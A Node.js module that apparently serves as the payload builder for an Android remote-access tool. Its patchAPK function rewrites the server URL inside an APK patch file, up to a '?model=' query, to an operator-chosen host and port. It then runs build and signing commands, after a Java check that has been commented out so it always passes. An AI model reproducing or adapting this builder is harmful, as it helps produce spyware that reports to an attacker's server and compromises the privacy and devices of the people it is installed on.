const cp = require('child_process'), fs = require('fs'), CONST = require('./const'); // Thanks -> https://stackoverflow.com/a/19734810/7594368 function javaversion(callback) { let spawn = cp.spawn('java', ['-version']); spawn.on('error', (err) => callback("Java Not Installed", null)); spawn.stderr.on('data', (data) => { data = data.toString().split('\n')[0]; var javaVersion = new RegExp('java version').test(data) ? data.split(' ')[2].replace(/"/g, '') : false; var openJDKVersion = new RegExp('openjdk version').test(data) ? data.split(' ')[2].replace(/"/g, '') : false; // if (javaVersion || openJDKVersion) { spawn.removeAllListeners(); spawn.stderr.removeAllListeners(); return callback(null, "javaVersion"); // Dirty fix to work with both heroku and vps ( in essence bypasses java check) // } else return callback("Java Not Installed", undefined); }); } function patchAPK(URI, PORT, cb) { // if (PORT < 25565) { fs.readFile(CONST.patchFilePath, 'utf8', function (err, data) { if (err) return cb('File Patch Error - READ') var result = data.replace(data.substring(data.indexOf("http://"), data.indexOf("?model=")), "http://" + URI + ":" + PORT); fs.writeFile(CONST.patchFilePath, result, 'utf8', function (err) { if (err) return cb('File Patch Error - WRITE') else return cb(false) }); }); // } } function buildAPK(cb) { javaversion(function (err, version) { if (!err) cp.exec(CONST.buildCommand, (error, stdout, stderr) => { if (error) return cb('Build Command Failed - ' + error.message); else cp.exec(CONST.signCommand, (error, stdout, stderr) => { if (!error) return cb(false); else return cb('Sign Command Failed - ' + error.message); }); }); else return cb(err); }) } module.exports = { buildAPK, patchAPK }